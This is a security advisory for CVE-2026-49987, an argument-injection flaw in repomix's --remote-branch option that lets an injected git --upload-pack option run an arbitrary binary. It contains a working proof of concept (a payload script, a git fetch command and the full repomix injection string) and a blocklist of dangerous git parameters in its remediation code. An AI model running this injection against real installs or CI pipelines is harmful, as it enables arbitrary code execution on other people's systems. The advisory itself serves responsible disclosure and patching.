CVE-2026-49987

Description

### Vulnerability Metadata | Field | Detail | | --- | --- | | **Affected Component** | `src/core/git/gitCommand.ts` (`execGitShallowClone`) | | **Impact** | Arbitrary Command Execution / Security Control Bypass | ### Summary The `--remote-branch` CLI option in `repomix` is vulnerable to argument injection. User-supplied input is passed directly to `git fetch` and `git checkout` subprocesses via `child_process.execFileAsync` without sanitization, `--` delimiters, or validation. An attacker can inject arbitrary git command-line options. By injecting the `--upload-pack` option and specifying an SSH (`git@...`) or local (`file://`) remote URL, an attacker achieves arbitrary command execution with the privileges of the user running `repomix`. This bypasses the existing `dangerousParams` blocklist implemented in `validateGitUrl()`. ### Vulnerable Code Analysis **File:** `src/core/git/gitCommand.ts` The `remoteBranch` parameter is appended directly to the arguments array for git subprocesses without the `--` positional delimiter. **Sink 1 (Lines 118-127):** ```typescript await deps.execFileAsync( 'git', ['-C', directory, 'fetch', '--depth', '1', 'origin', remoteBranch], // Vulnerable gitRemoteOpts, ); ``` **Sink 2 (Lines 148-151):** ```typescript await deps.execFileAsync('git', ['-C', directory, 'checkout', remoteBranch]); // Vulnerable ``` **Bypassed Security Control (Lines 192-197):** The application attempts to prevent this exact vulnerability class by blocking dangerous parameters (`--upload-pack`, `--receive-pack`, `--config`, `--exec`) within the `validateGitUrl` function. However, this validation is exclusively applied to the `url` variable and omitted for `remoteBranch`, creating a direct bypass. ### Attack Flow ```text [Source] repomix --remote-branch <injected_option> ↓ src/cli/actions/remoteAction.ts:226 (cloneRepository) ↓ src/core/git/gitCommand.ts:118 (execGitShallowClone) ↓ [Sink] execFileAsync('git', ['...', 'origin', '--upload-pack=/tmp/payload']) ↓ [Execution] git invokes the payload binary via transport helper ``` ### Proof of Concept (Steps to Reproduce) **1. Create the Payload** Create an executable bash script that writes system execution context to a file. *(Reference: Screenshot_2026-05-18_13_02_16.png)* ```bash cat > /tmp/malicious-pack << 'EOF' #!/bin/bash echo "=== RCE EXECUTED ===" > /tmp/repomix-pwned.txt id >> /tmp/repomix-pwned.txt EOF chmod +x /tmp/malicious-pack ``` **2. Trigger the Vulnerability** Establish a dummy remote and trigger the fetch operation, injecting the `--upload-pack` argument. *(Reference: Screenshot_2026-05-18_13_08_36.png)* ```bash # Setup dummy bare remote git init --bare /tmp/dummy-remote.git # Initialize local repo and add remote mkdir /tmp/test-fetch && cd /tmp/test-fetch git init git remote add origin file:///tmp/dummy-remote.git # Execute vulnerability git fetch --upload-pack=/tmp/malicious-pack origin 2>&1 ``` **3. Verify Execution** Execution occurs prior to git protocol validation. The script executes successfully despite the fetch operation returning a `128` exit code. ```bash cat /tmp/repomix-pwned.txt ``` *Expected Output:* ```text === RCE EXECUTED === uid=1000(kakashi) gid=1000(kakashi) groups=1000(kakashi)... ``` **End-to-End Execution via Repomix:** ```bash repomix --remote git@github.com:yamadashy/repomix.git --remote-branch '--upload-pack=/tmp/malicious-pack' ``` ### Impact * **Remote Code Execution:** Complete system compromise with the privileges of the user executing `repomix`. * **CI/CD Compromise:** If `repomix` is utilized in automated pipelines where `--remote-branch` is populated by external triggers (e.g., webhook payloads, PR titles), attackers can compromise build servers and exfiltrate secrets. ### Remediation **1. Implement Positional Delimiters (Primary Fix)** Append the `--` delimiter to explicitly separate options from positional arguments in all git subprocess calls utilizing `remoteBranch`. ```typescript await deps.execFileAsync( 'git', ['-C', directory, 'fetch', '--depth', '1', 'origin', '--', remoteBranch], gitRemoteOpts, ); ``` **2. Apply Existing Blocklist to Branch Parameter (Defense in Depth)** Update `execGitShallowClone` to validate `remoteBranch` against the existing `dangerousParams` array. ```typescript const dangerousParams = ['--upload-pack', '--receive-pack', '--config', '--exec']; if (remoteBranch && dangerousParams.some((param) => remoteBranch.includes(param))) { throw new RepomixError(`Invalid branch name. Contains potentially dangerous parameters: ${remoteBranch}`); } ``` ### Attachments **Screenshot 1:** Payload script created with executable permissions. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_02_16" src="https://github.com/user-attachments/assets/a0ada9de-c689-4ed8-9937-dd7faf6e6cc0" /> **Screenshot 2:** Vulnerable Code <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_03_44" src="https://github.com/user-attachments/assets/b72c7e05-d857-497a-9ae5-0822f86fa032" /> **Screenshot 3:** Verifying RCE. <img width="1920" height="1080" alt="Screenshot_2026-05-18_13_08_36" src="https://github.com/user-attachments/assets/f153545e-e5e8-4165-ac1a-f84efbb1c135" /> --- ### Credits This vulnerability was discovered and responsibly disclosed by: - **Researcher:** Abhijith S. - **GitHub:** [@kakashi-kx](https://github.com/kakashi-kx) - **HackerOne/Bugcrowd:** [kakashi4kx](https://hackerone.com/kakashi4kx)